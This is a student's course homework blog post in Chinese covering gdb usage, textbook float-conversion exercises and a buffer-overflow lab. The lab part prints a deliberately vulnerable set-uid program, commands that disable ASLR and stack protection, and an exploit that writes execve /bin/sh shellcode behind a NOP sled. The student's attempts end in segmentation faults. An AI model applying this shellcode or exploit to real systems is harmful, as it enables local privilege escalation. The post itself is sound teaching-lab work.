20155229 《信息安全系统设计基础》第六周作业补充

课堂上只有实践3没有完成。
(因为是现在虚拟机上做的缓冲溢出漏洞实验,虚拟机崩了,还没重新安装,所以这两天我用的是实验一老师让用的vmware中的ubuntu)

课上实践第三题

代码


#include <stdio.h>
int main(){
short int v = -5229;
unsigned short uv = (unsigned short) v;
printf("v = %d,  uv = %u
 ",  v, uv);
}

刚开始会出现下图情况

没有符号表被读取,请使用“file”命令

往回看时发现我在编译时用的是gcc -o week06035229 week06035229.c

这样生成的二进制可执行文件没有使用-g选项

正确编译为gcc -o -g week06035229 week06035229.c

然后进行 gdb 调试,用p/x v;p /x uv 查看变量的值

  • p/x v代表的意思为 打印当前v变量的十六进制值

  • 不仅程序中的变量,寄存器的值也能打印(例如我们在课上测试5中运用到的p $pc)

  • 而除了$pc 还有%esp,%edp等寄存器

  • i(info) r(reg)打印的,除了左边的寄存器名称外,中间是寄存器存的值,右边是这个值对应的内存地址中的值。

  • p$打印的是上一次打印的值,$$
    打印的是上上次打印过的值。print是有计数的。

  • 除了p/x外,还有p/c``p/f p/t p/o p/d

f为浮点,c为字符,t为二进制,o为八进制,d为十进制

书本p97 2.96

    else
    {
        exp -= 127;
        frac |= 0x800000;
        if (exp > 23)
        {
            exp -= 23;
            frac <<= exp;
        }
        else if (exp < 23)
        {
            exp = 23 - exp;
            frac >>= exp;
        }
        if (sign == 1)
            i = (~frac) + 1;
        else
            i = frac;
    }

书本2.97

主要是int到float的转化,有几个需要注意的地方:i=0;i为负数的时候。

  sign = i >> 31;
    if (i == Min)  //i为最小负数的时候
    {
        exp = 158;
        frac = 0;
    }
    else if (i == 0)  //i为0的时候
    {
        exp = 0;
        frac = 0;
    }


i为负数时,要求其原码

       if (sign)  
            frac = (~i + 1) << 1;
        else
            frac = i << 1;
        exp = 0;
        while (!(frac & 0x80000000)) 
        {
            exp++;
            frac <<= 1;
        }
        exp = 157 - exp;
        last_bit = ((frac >> 8) & 1);

缓冲溢出漏洞实验

搭建32位操作环境

输入安装的编译32位c程序的命令

sudo apt-get update

sudo apt-get install lib32z1 libc6-dev-i386

sudo apt-get install lib32readline-gplv2-dev

输入命令linux32,进入32位环境。输入/bin/bash,使用bash。

为了防止机器随意对地址猜测,需要关闭功能地址空间随机化初始功能

sudo sysctl -w kernel.randomize_va_space=0

用shell(zsh)代替/bin/bash,设置zsh程序:

sudo su

cd /bin

rm sh

ln -s zsh sh

exit

在输入以上的内容后,出现以下错误,重新打开终端也依然有该错误。但我没忙着解决这个问题,而是接着做实验

shellcode代码

#include <stdio.h>
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}

编译产生32位的汇编
gcc -m32 -g shellcode.c -o shellcode

一直出现错误,如下图所示

在“/tmp”目录下保存以下代码为“stack.c”:

/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
char buffer[12];

/* The following statement has a buffer overflow problem */
strcpy(buffer, str);

return 1;
}

int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly
");
return 1;
}

编译该程序,设置SET-UID

sudo su

gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c

chmod u+s stack

exit
  • –fno-stack-protector 关闭gcc阻止缓冲区溢出的机制
  • -z execstack 用于允许执行栈

编译时还是存在错误

在/tmp保存“exploit.c”代码

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=

"x31xc0"    //xorl %eax,%eax
"x50"        //pushl %eax
"x68""//sh"  //pushl $0x68732f2f
"x68""/bin"  //pushl $0x6e69622f
"x89xe3"    //movl %esp,%ebx
"x50"        //pushl %eax
"x53"        //pushl %ebx
"x89xe1"    //movl %esp,%ecx
"x99"        //cdq
"xb0x0b"    //movb $0x0b,%al
"xcdx80"    //int $0x80
;

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??");
strcpy(buffer+100,shellcode);

/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

gdb stack

disass main

结果如图:

设置断点并运行,str的地址为0x0ffffd0c8

根据语句strcpy(buffer+100,shellcode); 我们计算shellcode的地址为 0xffffd058(十六进制)+100(十进制)=0xffffd0c8(十六进制)

修改exploit.c中的x??x??x??x??,修改为
xc8xd0xffxff

编译exploit.c程序
gcc -m32 -o exploit exploit.c

进行攻击,先攻击程序exploit,再攻击stack

结果如下:
段错误

于是,我又重新进行一次汇编
发现我在设置断点时将断点位置设错,于是,得到的str地址为0xffffce50,shellcode的地址为0xffffceb4

再次修改exploit.c文件后,进行攻击,还为段错误

于是我又重新认真的汇编几次,结构都是一样。

我在查看了/tmp文件夹下的文件,发现stack文件标红,而exploit文件显绿

如图:

我想应该是stack的问题,于是重新查看做过的步骤,在编译stack时就有错误,之前/bin/bash也有错误。

后续

第二天,我再打开虚拟机时,出现了该问题

选择GNU GRUB

GNU GRUB(GRand Unified Bootloader简称“GRUB”)是一个来自GNU项目的多操作系统启动程序。GRUB是多启动规范的实现,它允许用户可以在计算机内同时拥有多个操作系统,并在计算机启动时选择希望运行的操作系统。

然后进入了tty1命令行模式

在网上找方法

ctrl+alt+f7和用命令sudo service lightdm restart想要返回桌面,都不成功

我认为是之前/bin/bash的问题,但是一直在网上找不到解决的方案

*所以到博客截止时间我的虚拟机问题一直未解决。
原文地址:https://www.cnblogs.com/fyhtvxq/p/7750262.html